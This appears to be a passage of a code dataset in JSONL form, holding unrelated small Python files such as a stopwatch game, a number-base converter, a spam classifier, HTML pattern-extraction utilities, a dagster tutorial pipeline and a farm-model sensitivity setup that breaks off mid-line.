ET.fromstring(msg)\n\tprint(root)\n\tif root.tag != \"LabView\":\n\t\tprint(\"Not a valid msg for the pxi\")\n\n\tfor child in root:\n\t\tif child.tag == \"AnalogInput\":\n\t\t\tprint(\"Attempting to instantiate AnalogInput as ai...\")\n\t\t\tai = AnalogInput()\n\t\t\tprint(\"AnalogInput instantiated! \\n Calling ai.load_xml...\")\n\t\t\tai.load_xml(child)\n\t\t\tprint(\"AnalogInput initialized! \\n Calling ai.init...\")\n\t\t\tai.init() # This fails on my laptop. Error seems to say it looks for a local file but can't find it. \n # Might work on PC that can talk to the AI hardware. - Preston\n\t\t\tprint(\"AnalogInput updated\")","sub_path":"tests/ai_tests.py","file_name":"ai_tests.py","file_ext":"py","file_size_in_byte":989,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"99059440","text":"#http://www.codeskulptor.org/#user30_Tc049ZdZOzX2iRs.py\n\n#STOPWATCH GAME\n#import modules\n\nimport simplegui\n\n#global Varibles\na=0\nb=0\nc=0\nplayer1_name=\"Lalit\"\nplayer2_name=\"Sumit\"\nlalit=\"By MrL\"\nchances=[0,0]\ntotal=[0,0]\n#draw handlers\ndef display_timer(canvas):\n global a,b,c\n if (a<10):\n a='0'+str(a)\n if (b<10):\n b='0'+str(b)\n canvas.draw_text(\"StopWatch\",[95,30],25,\"White\")\n canvas.draw_text(player1_name+' '+str(chances[0])+'/'+str(total[0]),[10,60],20,\"Teal\")\n canvas.draw_text(player2_name+' '+str(chances[1])+'/'+str(total[1]),[210,60],20,\"Teal\")\n canvas.draw_text(str(a)+':'+str(b)+'.'+str(c),[110,150],25,\"Gold\")\n canvas.draw_text(lalit, [250,240], 15, \"RED\")\n if ((total[0] and total[1])>=5):\n if (chances[0]chances[1]):\n canvas.draw_text(player1_name+\" Wins\",[35,205],20,\"Green\")\n elif (chances[0]==chances[1]):\n canvas.draw_text(\"Both seem to be Competitor\",[35,205],20,\"Green\")\n a=int(a)\n b=int(b)\n c=int(c)\n \n \n \ndef time_handler(): \n global a,b,c\n c+=1\n if (c==10):\n b+=1\n c=0\n if (b==60):\n a+=1\n b=0 \n\ndef key_down_handler(key):\n pause_timer()\n \ndef player1n(str):\n global player1_name\n player1_name=str\n\ndef player2n(str):\n global player2_name\n player2_name=str\n \ndef start_timer():\n timer.start()\n \ndef pause_timer():\n global chances, total\n if (c==9 or c==0 ):\n chances[0]+=3\n else:\n chances[0]-=1\n total[0]+=1\n\ndef pause_timer2():\n global chances, total\n if (c==9 or c==0 or c==8):\n chances[1]+=3\n else:\n chances[1]-=1\n total[1]+=1\n\ndef stop_timer():\n global chances\n global total\n global a,b,c\n timer.stop()\n total=[0,0] \n chances=[0,0]\n a=0 \n b=0\n c=0\n \n#create frame\nframe= simplegui.create_frame(\"StopWatch\",300,300)\n\n#register event handlers\nscreen=frame.set_draw_handler(display_timer)\ntimer=simplegui.create_timer(100, time_handler)\nplayer1=frame.add_input(\"Player 1\",player1n,150)\nplayer2=frame.add_input(\"Player 2\",player2n,150)\nbutton1=frame.add_button(\"Start\",start_timer,150)\nbutton2=frame.add_button(\"Stop\",pause_timer2,150)\nbutton3=frame.add_button(\"Reset\",stop_timer,150)\nkey=frame.set_keydown_handler(key_down_handler)\n\n#start frame\nframe.start()\n\n","sub_path":"Two player Stop Watch.py","file_name":"Two player Stop Watch.py","file_ext":"py","file_size_in_byte":2464,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"472688398","text":"import os\nimport sys\n\nstart = True\nwhile start:\n os.system('clear')\n number = input(\"Enter your number and after space enter actual system \")\n\n def bin_to_dec(num):\n length = len(num)-2\n result = 0\n for i in range (1, length+1):\n result = result + int(num[i-1]) * 2 ** (length-i)\n print (\"The decimal of entered binary is: \", result)\n\n def dec_to_bin(num):\n number = int(num[:-3])\n decimal = []\n while number > 0:\n bit = number % 2\n quotient = number // 2\n decimal.insert(0, str(bit))\n number = quotient\n result = ''.join(decimal)\n print(\"The binary of entered decimal is: \", result)\n\n def exit():\n exit = input(\"To count again press anything / to exit press q: \")\n if exit.lower() == \"q\":\n os.system('clear')\n print (\"Thanks for using my super program\")\n sys.exit()\n else:\n start = True\n\n\n if number[-2:] == \" 2\":\n bin_to_dec(number)\n exit()\n elif number[-3:] == \" 10\":\n dec_to_bin(number)\n exit() #dlaczego bez tego program po wpisaniu np \"8 10\" startowal od nowa?\n else:\n os.system('clear')\n print(\"You entered wrong number format. Check it out and enter again\")\n exit()\n","sub_path":"BinaryConv.py","file_name":"BinaryConv.py","file_ext":"py","file_size_in_byte":1335,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"410122230","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sun Oct 13 18:16:03 2019\r\n\r\n@author: reetika\r\n\"\"\"\r\n\r\nimport numpy as np\r\nimport pandas as pd\r\nimport pickle, string\r\nfrom nltk.corpus import stopwords\r\nfrom nltk.stem import SnowballStemmer\r\ndef createDataFrame(message):\r\n return pd.DataFrame({\r\n 'message': [message],\r\n 'length': [len(message)]\r\n })\r\n \r\ndef textPreProcess(text):\r\n text = text.translate(str.maketrans('','',string.punctuation))\r\n text = [word for word in text.split() if word.lower() not in stopwords.words(\"english\")]\r\n return \" \".join(text)\r\ndef stemming(text):\r\n words = map(lambda t: SnowballStemmer('english').stem(t), text.split())\r\n return \" \".join(words)\r\n \r\ndef extractFreatures(sms):\r\n texts = sms['message'].copy()\r\n lengths = sms['length'].values\r\n texts = texts.apply(textPreProcess)\r\n texts = texts.apply(stemming)\r\n vectorizer = pickle.load(open('vectorizer.sav', 'rb'))\r\n features = vectorizer.transform(texts)\r\n features = np.hstack((features.todense(), lengths[:, None]))\r\n return features\r\n \r\ndef predict(features):\r\n model = pickle.load(open('model.sav', 'rb'))\r\n label = model.predict(features)\r\n return label\r\n\r\nif __name__ == \"__main__\":\r\n sms = str(input(\"Enter the message: \"))\r\n sms = createDataFrame(sms)\r\n features = extractFreatures(sms)\r\n label = predict(features)\r\n print(\"The message is a \" + str(label[0]))","sub_path":"DMW Project/spam2.py","file_name":"spam2.py","file_ext":"py","file_size_in_byte":1448,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"548860300","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Dec 26 13:26:05 2019\n\n@author: Roy\n\"\"\"\n\n\nclass books(object):\n status = 'Novel'\n def __init__(self, title, author, published_yr):\n self.title = title\n self.author = author\n self.published_yr = published_yr\n def get_details(self):\n print(f'details of the book are {self.title} by {self.author} printed in {self.published_yr}')\n \nbook = books('The Truth', 'Terry Pratchett', 2000)\nbook1 = books('A Column of Fire', 'Ken Follet', 2017)\n\nprint(book.title, book.author, book.published_yr, book.status)\nprint(book1.title, book1.author, book1.published_yr, book1.status)","sub_path":"Part9/MyPlayBooks.py","file_name":"MyPlayBooks.py","file_ext":"py","file_size_in_byte":646,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"486053205","text":"import csv\ndef readEntityExtractionPatterns(patternsLocation):\n print(\"Reading the entity extraction patterns\")\n output = []\n with open(patternsLocation, \"r\") as f:\n lines = csv.reader(f, delimiter='\\t')\n # lines = f.readlines()\n # lines = lines[1:]\n for line in lines:\n # print(line)\n # print(line[0])\n # line = line.strip()\n # line = line.split(\"\\t\")\n output.append((line[0], line[1]))\n return output[1:]\n\n\ndef readTripletPatterns(patternsLocation):\n print(\"Reading the patterns...\")\n output = []\n with open(patternsLocation, \"r\") as f:\n lines = csv.reader(f, delimiter=\"\\t\")\n for line in lines:\n output.append((line[0], line[1], line[2]))\n print(\"Patterns read\")\n return output[1:]\n\n#find entity set in left and right pattern.\ndef doEntityExtractions(leftPattern, rightPattern, pageContent):\n searchIndex = 0\n output = []\n while True:\n try:\n startL = pageContent.index(leftPattern, searchIndex)\n endL = startL+len(leftPattern)\n end = pageContent.index(rightPattern, endL)\n if end-endL<=1000:\n output.append(pageContent[endL:end].strip())\n searchIndex = startL+1\n except ValueError:\n return list(set(output))\n return list(set(output))\n\n\ndef getClusterStrings(middlePattern, clusters):\n output = []\n for cluster in clusters:\n outputPerCluster = []\n searchIndex = 0\n while True:\n try:\n startL = cluster.index(middlePattern, searchIndex)\n clusterElement = cluster[searchIndex:startL].strip()\n # print(\"Cluster element is \")\n # print(clusterElement)\n outputPerCluster.append(clusterElement)\n searchIndex = startL+len(middlePattern)\n except ValueError:\n break\n # print(\"Output per cluster is \")\n # print(outputPerCluster)\n # print(\"Cluster was \")\n # print(cluster)\n outputPerCluster = \"\\n\".join(outputPerCluster)\n output.append(outputPerCluster)\n # print(\"Output is \")\n # print(output)\n return output\n\ndef doClusterExtraction(leftPattern, middlePattern, rightPattern, pageContent):\n searchIndex = 0\n output = []\n while True:\n try:\n startL = pageContent.index(leftPattern, searchIndex)\n endL = startL + len(leftPattern)\n end = pageContent.index(rightPattern, endL)\n if end - endL<=50000:\n output.append(pageContent[endL:end].strip())\n searchIndex = startL+1\n except ValueError:\n break\n # print(\"Number of clusters are:- \" + str(len(output)))\n # print(output)\n output = getClusterStrings(middlePattern, output)\n return list(set(output))\n\n\ndef doRelationExtractions(leftPattern, middlePattern, rightPattern, pageContent):\n searchIndex = 0\n output = []\n while True:\n try:\n startL = pageContent.index(leftPattern, searchIndex)\n endL = startL + len(leftPattern)\n end = pageContent.index(middlePattern, endL)\n keyLength = end - endL\n if keyLength<=1000:\n searchIndex = end + len(middlePattern)\n startR = pageContent.index(rightPattern, searchIndex)\n valueLength = startR - searchIndex\n if valueLength<=1000:\n key = pageContent[endL:end].strip()\n value = pageContent[searchIndex:startR].strip()\n output.append(key+\"\\t\"+value)\n searchIndex = startL+1\n except:\n return list(set(output))\n return list(set(output))\n\nfrom FileUtil import readPlainHtmlPageContent\n\ndef entityPatternsTesting(patternsLocation, corpus):\n output = []\n entityPatterns = readEntityExtractionPatterns(patternsLocation)\n print(\"Entity patterns are:- \")\n print(entityPatterns)\n for pattern in entityPatterns:\n (lp, rp) = pattern\n for page in corpus:\n pageLocation = page + \"/page.html\"\n plainHtmlContent = readPlainHtmlPageContent(pageLocation)\n entities = doEntityExtractions(lp, rp, plainHtmlContent)\n output.extend(entities)\n return output\n\ndef isHtml(r):\n if \"\" in r:\n return True\n else:\n return False\n\ndef filteredRelations(relations):\n output = []\n for r in relations:\n if not isHtml(r):\n output.append(r)\n return output\ndef relationPatternsTesting(patternsLocation, corpus):\n output = []\n relationPatterns = readTripletPatterns(patternsLocation)\n for pattern in relationPatterns:\n (lp, mp, rp) = pattern\n for page in corpus:\n pageLocation = page + \"/page.html\"\n plainHtmlContent = readPlainHtmlPageContent(pageLocation)\n relations = doRelationExtractions(lp, mp, rp, plainHtmlContent)\n relations = filteredRelations(relations)\n # for r in relations:\n # print(r)\n # break\n output.extend(relations)\n return output\n\n\ndef clusterPatternsTesting(patternsLocation, corpus):\n output = []\n clusterPatterns = readTripletPatterns(patternsLocation)\n for pattern in clusterPatterns:\n (lp, mp, rp) = pattern\n for page in corpus:\n pageLocation = page + \"/page.html\"\n plainHtmlContent = readPlainHtmlPageContent(pageLocation)\n clusters = doClusterExtraction(lp, mp, rp, plainHtmlContent)\n output.extend(clusters)\n return output\n\nfrom FileUtil import getAllPagesInsideWebsite\n\nwebsiteLocation = \"./supervisedData/amazon\"\ndef doEntityExtractionTesting():\n global websiteLocation\n patternsLocation = \"./supervisedData/amazon/titlePatterns.tsv\"\n outputLocation = \"./entityTestingAmazon\"\n pages = getAllPagesInsideWebsite(websiteLocation)\n entities = entityPatternsTesting(patternsLocation, pages)\n entities = \"\\n\".join(entities)\n with open(outputLocation, \"w\") as f:\n f.write(entities)\n f.close()\n print(\"Output written at location:- \" + str(outputLocation))\n\ndef doRelationExtractionTesting():\n global websiteLocation\n patternsLocation = \"./supervisedData/amazon/tablePatterns.tsv\"\n outputLocation = \"./relationTestingAmazon\"\n pages = getAllPagesInsideWebsite(websiteLocation)\n relations = relationPatternsTesting(patternsLocation, pages)\n relations = \"\\n\".join(relations)\n with open(outputLocation, \"w\") as f:\n f.write(relations)\n f.close()\n print(\"Output written at location:- \" + str(outputLocation))\n# doRelationExtractionTesting()\n\ndef doClusterExtractionTesting():\n global websiteLocation\n patternsLocation = \"./supervisedData/amazon/specsPatterns.tsv\"\n outputLocation = \"./specsTestingAmazon\"\n pages = getAllPagesInsideWebsite(websiteLocation)\n clusters = clusterPatternsTesting(patternsLocation, pages)\n clusters = \"\\n\\n\".join(clusters)\n with open(outputLocation, \"w\") as f:\n f.write(clusters)\n f.close()\n print(\"Output written at location:- \" + str(outputLocation))\n\nprint(\"Boom\")\ndoClusterExtractionTesting()","sub_path":"PatternsTestingUtil.py","file_name":"PatternsTestingUtil.py","file_ext":"py","file_size_in_byte":7373,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"238302451","text":"import bs4 as bs\nimport urllib.request\nimport requests\nfrom bs4 import BeautifulSoup\nfrom database import Base_donnee\n\n\n\nclass synonymes:\n def __init__(self):\n self.syn = \"\"\n self.SynWord = \"\"\n self.source = \"\"\n self.soup = \"\"\n self.db = Base_donnee()\n\n \n\n def test(self, mot):\n scr = urllib.request.urlopen(\"http://www.cnrtl.fr/definition/\"+mot)\n soup = bs.BeautifulSoup(scr, 'lxml')\n\n syn = soup.find('span',{'class':'tlf_cdefinition'})\n return syn\n\n def RechercheSyn(self,mot):\n url = \"http://www.cnrtl.fr/definition/\"+mot\n code = requests.get(url)\n plain = code.text\n s = BeautifulSoup(plain, \"html.parser\")\n syn = s.find('span', {'class':'tlf_cdefinition'})\n if syn is None:\n self.db.insertion(mot,\"synonyme:\"+mot,url)\n return \"null\"\n else:\n self.db.insertion(mot,syn.text,url)\n return syn.text\n\n # print(syn.text)\n\n def InsertionSyn(self,mot, syn):\n self.db.insertion_Syn(syn, mot)\n\n \n","sub_path":"synonymes.py","file_name":"synonymes.py","file_ext":"py","file_size_in_byte":1046,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"557375435","text":"from flask import render_template, request\r\nfrom app import app\r\nfrom app.models import Versao\r\nfrom app.query_utils import get_versao, get_letras\r\nfrom sqlalchemy import *\r\nfrom sqlalchemy.orm import *\r\nimport sys\r\nimport re\r\n\r\ndef load_db():\r\n engine = create_engine(app.config['SQLALCHEMY_DATABASE_URI'], echo = False)\r\n conn = engine.connect()\r\n metadata = MetaData(conn)\r\n return engine, conn, metadata\r\n\r\n#@app.route('/', methods = ['POST', 'GET'])\r\n@app.route('/index', methods = ['POST', 'GET'])\r\ndef songs():\r\n engine, conn, metadata = load_db()\r\n if request.method == 'POST': #The initial request to the page is a GET hence this if is not satisified which takes us directly to the else part\r\n if request.form.get('Nome_Autor'): # If Nome form used, Nome is not None; Note: user has already selected the song\r\n print(\"POST variable is %s\" % request.form.get('Nome_Autor'), file=sys.stderr)\r\n letras_txt, coro_txt, link = get_letras(conn, request.form.get('Nome_Autor'), Versao)\r\n if coro_txt:\r\n coro_txt = coro_txt.split('\\n')\r\n else:\r\n coro_txt = [\" \"] # Need a string otherwise Jinja2 throws error when trying to iterate \r\n letras_txt = letras_txt.split('\\n')\r\n return render_template(\"search_and_view.html\", cantiga_lst=['s'], cantiga_nome=request.form.get('Nome_Autor'), letras=letras_txt \\\r\n , coro=coro_txt, c_link=link) # Reason for newline split: https://stackoverflow.com/questions/12244057/any-way-to-add-a-new-line-from-a-string-with-the-n-character-in-flask?utm_medium=organic&utm_source=google_rich_qa&utm_campaign=google_rich_qa\r\n else: # in that case, Tipo form used (list songs for a particular Tipo); Note: user has only selected Tipo/Toque\r\n cantiga_lst = get_versao(conn, request.form.get('Toque'), Versao)\r\n return render_template(\"search_and_view.html\", toque=request.form.get('Toque'), cantiga_lst=cantiga_lst)\r\n else:\r\n return render_template(\"search_and_view.html\") #During the initial request no variable is passed and the plain page is rendered, hence the second 'if' in the template page fails.","sub_path":"app/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":2225,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"423453005","text":"import time, os, datetime\nfrom os.path import join, getsize\n\nstart_time = time.time() # 初始时间戳\n\nfile_dir = '/Users/alicewish/Documents/GitHub/Mac-App-Translation'\noutput_file_path=\"/Users/alicewish/我的坚果云/文件夹大小.txt\"\n\n# ================获取文件夹大小================\ndef GetFolderSize(path):\n TotalSize = 0\n for item in os.walk(path):\n for file in item[2]:\n try:\n TotalSize = TotalSize + getsize(join(item[0], file))\n except:\n print(\"文件遇到错误: \" + join(item[0], file))\n return TotalSize\n\n\nfile_list = os.listdir(file_dir) # 获得目录中的内容\nprint(file_list)\n\nall_info = []\nfor file_name in file_list:\n file_path = os.path.join(file_dir, file_name)\n # ================文件信息================\n is_dir = os.path.isdir(file_path) # 判断目标是否目录\n if is_dir:\n entry_start_time = time.time()\n inside_file_list = os.listdir(file_path) # 获得目录中的内容\n for inside_file_name in inside_file_list:\n inside_file_path = os.path.join(file_path, file_path)\n\n # ================文件信息================\n last_access_time = datetime.datetime.fromtimestamp(os.path.getatime(inside_file_path)) # 最近访问时间\n created_time = datetime.datetime.fromtimestamp(os.path.getctime(inside_file_path)) # 输出文件创建时间\n last_modified_time = datetime.datetime.fromtimestamp(os.path.getmtime(inside_file_path)) # 最近修改时间\n file_size = os.path.getsize(inside_file_path) # 输出文件大小(字节为单位)\n extension = os.path.splitext(inside_file_path)[1] # 拓展名\n is_dir = os.path.isdir(inside_file_path) # 判断目标是否目录\n inside_line_info = [inside_file_name, str(created_time), str(last_modified_time), str(last_access_time),\n str(file_size)]\n line = \"\\t\".join(inside_line_info)\n folder_size = float(GetFolderSize(file_path)) # 输出文件夹大小(字节为单位)\n last_access_time = datetime.datetime.fromtimestamp(os.path.getatime(file_path)) # 最近访问时间\n created_time = datetime.datetime.fromtimestamp(os.path.getctime(file_path)) # 输出文件创建时间\n last_modified_time = datetime.datetime.fromtimestamp(os.path.getmtime(file_path)) # 最近修改时间\n extension = os.path.splitext(file_path)[1] # 拓展名\n line_info = [file_name, str(folder_size), str(created_time), str(last_modified_time), str(last_access_time)]\n line = \"\\t\".join(line_info)\n all_info.append(line)\n entry_run_time = time.time() - entry_start_time\n print(file_path, \"耗时:{:.2f}秒\".format(entry_run_time))\n\ntext = \"\\r\\n\".join(all_info)\n# ================写入剪贴板================\nimport pyperclip\n\npyperclip.copy(text)\nspam = pyperclip.paste()\n\n# ================写入TXT================\nf = open(output_file_path, 'w')\ntry:\n f.write(text)\nfinally:\n f.close()\n# ================运行时间计时================\nrun_time = time.time() - start_time\nif run_time < 60: # 秒(两位小数)\n print(\"耗时:{:.2f}秒\".format(run_time))\nelif run_time < 3600: # 分+秒(取整)\n print(\"耗时:{:.0f}分{:.0f}秒\".format(run_time // 60, run_time % 60))\nelse: # 时分秒取整\n print(\"耗时:{:.0f}时{:.0f}分{:.0f}秒\".format(run_time // 3600, run_time % 3600 // 60, run_time % 60))\n","sub_path":"~文件夹大小.py","file_name":"~文件夹大小.py","file_ext":"py","file_size_in_byte":3535,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"496145318","text":"import numpy as np\n\n# This is the first test of how to write an AI for playing games.\n# This will be a first test of how to implement tensorflow algorithms as well\n# as using git for source control. Some of us are noobs here. \n\n# -----------------------------------------------------------------------------\n# Give the score for a move. Invalid moves will be given a score of -inf.\ndef MoveScore(board_before_move, move):\n assert(len(board_before_move) == 9)\n assert(len(move) == 9)\n if not IsValidMove(board_before_move, move):\n return -10\n board = np.array(board_before_move) + np.array(move)\n\n # check horizontal\n if sum(board[0:3]) > 2.9 or sum(board[3:6]) > 2.9 or sum(board[6:9]) > 2.9:\n return 1\n\n # check vertical\n for i in range(3):\n col_sum = board[i] + board[i+3] + board[i+6]\n if col_sum > 2.9: return 1\n\n # check diagonal\n diag_sum1 = board[0] + board[4] + board[8]\n diag_sum2 = board[2] + board[4] + board[6]\n if (diag_sum1 > 2.9 or diag_sum2 > 2.9): return 1\n return 0\n\n# -----------------------------------------------------------------------------\n# Returns true if this move can be made\ndef IsValidMove(board, move):\n assert(len(board) == 9)\n assert(len(move) == 9)\n for idx, val in enumerate(move):\n if (val == 1 and (board[idx] == 1 or board[idx] == -1)):\n return False\n return True\n\n# -----------------------------------------------------------------------------\n# Switches the board for the next player.\ndef SwitchPlayer(board):\n assert(len(board) == 9)\n return [-x for x in board]\n\ndef PossibleMoves(board):\n assert(len(board) == 9)\n moves = []\n for i in range(len(board)):\n move = np.zeros(9).tolist()\n move[i] = 1\n moves.append(move)\n return moves\n\ndef PossibleValidMoves(board):\n assert(len(board) == 9), print(board)\n moves = PossibleMoves(board)\n valid_moves = []\n for move in moves:\n if IsValidMove(board, move):\n valid_moves.append(move)\n return valid_moves\n","sub_path":"tic-tac-toe/game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":2058,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"159420622","text":"\ndef merge(left, right):\n if not len(left):\n return right\n\n if not len(right):\n return left\n\n result = []\n i = 0\n j = 0\n while len(left) > i and len(right) > j:\n\n if left[i] > right[j]:\n result.append(right[j])\n j += 1\n else:\n result.append(left[i])\n i += 1\n\n if len(left) == i:\n for k in right[j:]:\n result.append(k)\n\n if len(right) == j:\n for k in left[i:]:\n result.append(k)\n\n return result\n\n\ndef merge_sort(list):\n if len(list) == 0 or len(list) == 1:\n return list\n\n mid = round(len(list) / 2)\n left = merge_sort(list[:mid])\n right = merge_sort(list[mid:])\n\n return merge(left, right)\n\n# q = [1,5,2,6,3,7,4,8,9,10,11]\n# q = [2,1,3,1,2]\n# w = merge_sort(q)\n# print(w)","sub_path":"merge_sort.py","file_name":"merge_sort.py","file_ext":"py","file_size_in_byte":851,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"226382097","text":"from dagster import (\n EventMetadataEntry,\n Materialization,\n PresetDefinition,\n String,\n TypeCheck,\n dagster_type,\n input_hydration_config,\n output_materialization_config,\n pipeline,\n solid,\n)\nfrom dagster.utils import script_relative_path\n\n\n@dagster_type\nclass Empty:\n pass\n\n\n@input_hydration_config(String)\ndef read_sauce(_context, path):\n with open(script_relative_path(path), 'r') as fd:\n return Sauce(fd.read())\n\n\n@output_materialization_config(String)\ndef write_sauce(_context, path, sauce):\n with open(path, 'w+') as fd:\n fd.write(sauce.flavor)\n return Materialization.file(path)\n\n\n@dagster_type(\n input_hydration_config=read_sauce, # how to create an instance from config\n output_materialization_config=write_sauce, # how to materialize an instance\n typecheck_metadata_fn=lambda sauce: TypeCheck(\n metadata_entries=[\n EventMetadataEntry.text(\n label='is_spicy', text='yes' if 'spicy' in sauce.flavor else 'no'\n )\n ]\n ),\n)\nclass Sauce:\n def __init__(self, flavor='tangy'):\n self.flavor = flavor\n\n\n@solid\ndef make_burger(_):\n return 'cheese burger'\n\n\n@solid\ndef add_sauce(_, food, sauce: Sauce):\n return '{food} with {flavor} sauce'.format(food=food, flavor=sauce.flavor)\n\n\n@solid\ndef inspect_sauce(context, sauce: Sauce) -> Sauce:\n context.log.info('The sauce tastes {flavor}'.format(flavor=sauce.flavor))\n return sauce\n\n\n@pipeline(\n preset_defs=[\n PresetDefinition.from_files(\n 'test_input', [script_relative_path('./custom_type_input.yaml')]\n ),\n PresetDefinition.from_files(\n 'test_output',\n [\n script_relative_path('./custom_type_output.yaml'),\n script_relative_path('./custom_type_input.yaml'),\n ],\n ),\n ]\n)\ndef burger_time():\n inspected_sauce = inspect_sauce()\n add_sauce(make_burger(), inspected_sauce)\n","sub_path":"examples/dagster_examples/intro_tutorial/custom_types.py","file_name":"custom_types.py","file_ext":"py","file_size_in_byte":1975,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"549031261","text":"# Definition for singly-linked list with a random pointer.\nclass RandomListNode(object):\n def __init__(self, x):\n self.label = x\n self.next = None\n self.random = None\n\n\nclass Solution(object):\n def copyRandomList(self, head):\n \"\"\"\n :type head: RandomListNode\n :rtype: RandomListNode\n \"\"\"\n if not head:\n return None\n tmp = head\n while tmp:\n new = RandomListNode(tmp.label)\n new.next = tmp.next\n tmp.next = new\n tmp = tmp.next.next\n tmp = head\n while tmp:\n if tmp.random:\n tmp.next.random = tmp.random.next\n tmp = tmp.next.next\n newhead = head.next\n old = head\n new = head.next\n while new.next:\n old.next = new.next\n old = old.next\n new.next = old.next\n new = new.next\n old.next = None\n new.next = None\n return newhead\n","sub_path":"138_CopyListwithRandomPointer.py","file_name":"138_CopyListwithRandomPointer.py","file_ext":"py","file_size_in_byte":992,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"546292463","text":"import pytest\nimport os\n\nfrom app import create_app\nfrom app.models import db\nfrom app.models.player import Player\n\n\n@pytest.fixture(scope='module')\ndef test_client():\n flask_app = create_app({\n \"TESTING\": True,\n \"WTF_CSRF_ENABLED\": False,\n \"DATABASE_URI\": f\"{os.getenv('DATABASE_URI')}-test\",\n \"JWT_SECRET_KEY\": 'test-key'\n })\n\n testing_client = flask_app.test_client()\n ctx = flask_app.app_context()\n ctx.push()\n\n yield testing_client\n\n ctx.pop()\n\n\n@pytest.fixture(scope='module')\ndef init_database():\n # Create the database and the database table\n db.create_all()\n\n player = Player(name='John Borden', position='WR')\n db.session.add(player)\n\n # Commit the changes for the users\n db.session.commit()\n\n yield db # this is where the testing happens!\n\n db.drop_all()\n","sub_path":"app/tests/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":840,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"575924112","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Jan 6 10:57:56 2020\n\n\n@author: young\n\nThis is where all sensitivity values must be initialised.\n\n\"\"\"\n\nimport numpy as np\n\nfrom . import PropertyInputs as pinp\nfrom . import UniversalInputs as uinp\nfrom . import StructuralInputs as sinp\nfrom . import Periods as per\n\n##create dict - store sa variables in dict so they can easily be changed in the exp loop\nsam = dict()\nsap = dict()\nsaa = dict()\nsat = dict()\nsav = dict()\nsar = dict()\n\ndef create_sa():\n '''\n Initialises default SA arrays. This gets done each loop in case property inputs changes and to clear last\n trial SA.'''\n ##len - mostly SA arrays can be initialised using the shape of the array they will be applied to.\n ## the length below need to be the full axis length before masking.\n len_d = len(pinp.sheep['i_d_idx'])\n len_g0 = sinp.stock['i_mask_g0g3'].shape[0]\n len_g1 = sinp.stock['i_mask_g1g3'].shape[0]\n len_g2 = sinp.stock['i_mask_g2g3'].shape[0]\n len_g3 = sinp.stock['i_mask_g3g3'].shape[0]\n len_h2 = pinp.sheep['i_h2_len']\n len_h5 = pinp.sheep['i_h5_len']\n len_h7 = pinp.sheep['i_husb_operations_triggerlevels_h5h7h2'].shape[-1]\n len_i = pinp.sheep['i_i_len']\n len_k = len(sinp.landuse['C'])\n len_pas_k = len(sinp.landuse['All_pas'])\n len_k0 = pinp.sheep['i_k0_len'] #Weaning option\n len_k1 = pinp.sheep['i_k1_len'] #Oestrus cycle\n len_k2 = pinp.sheep['i_k2_len'] #LSLN cluster\n len_k3 = pinp.sheep['i_k3_len'] #dam age cluster\n len_k4 = pinp.sheep['i_k4_len'] #gender\n len_k5 = pinp.sheep['i_k5_len'] #BTRT cluster\n len_l = len(pinp.general['i_lmu_idx'])\n len_l0 = uinp.parameters['i_cl0_len2']\n len_n = len(uinp.general['i_fert_idx'])\n len_n1 = len(uinp.general['i_chem_idx'])\n len_o = pinp.sheep['i_o_len']\n len_R = 5000 #just use a big number - it is cut down later (this is because the length of r is not known because it can be affected by SA)\n len_s = pinp.sheep['i_s_len'] #s = shear\n len_t1 = pinp.sheep['i_n_dam_sales'] + len_g0\n len_t2 = pinp.sheep['i_t2_len']\n len_t3 = pinp.sheep['i_t3_len']\n len_P = 500 #Capital P because it is an (over) estimate to initialise the p axes that will be sliced when len_p is known.\n len_p6 = len(pinp.period['i_fp_idx'])\n len_V = 50 #Capital V because it is an (over) estimate to initialise the v axes that will be sliced when len_v is known.\n len_x = pinp.sheep['i_x_len']\n len_y = int(np.ceil(sinp.stock['i_age_max']))\n len_z = len(pinp.general['i_mask_z'])\n \n \n ###########\n # Global #\n ###########\n \n ##Global\n sap['pi']=0 #global potential intake (this increases animal intake without altering animal energy profile, to alter the energy profile use ci[1:2,...]\n\n\n\n\n ##########\n #general #\n ##########\n ##SAV\n sav['steady_state'] = '-' #SA to alter if the model is steady state\n sav['mask_z'] = np.full_like(pinp.general['i_mask_z'], '-', dtype=object) #SA to alter which seasons are included\n sav['prob_z'] = np.full_like(pinp.general['i_mask_z'], '-', dtype=object) #SA to alter which seasons are included\n sav['inc_node_periods'] = '-' #SA to alter if season nodes are included in the steady state model (note they are always included in the dsp version this only effects if they are included in steady state)\n sav['seq_len'] = '-' #SA to alter the length of the season sequence in the SQ model\n sav['rev_create'] = '-' #SA to alter if the trial is being used to create rev std values\n sav['rev_number'] = '-' #SA to alter rev number - rev number is appended to the std rev value pkl file and can be used to select which rev is used as std for a given trial.\n sav['rev_trait_inc'] = np.full_like(sinp.structuralsa['i_rev_trait_inc'], '-', dtype=object) #SA value for which traits are to be held constant in REV analysis.\n sav['fs_create_pkl'] = '-' #SA to control if the trial is being used to create pkl fs\n sav['fs_create_number'] = '-' 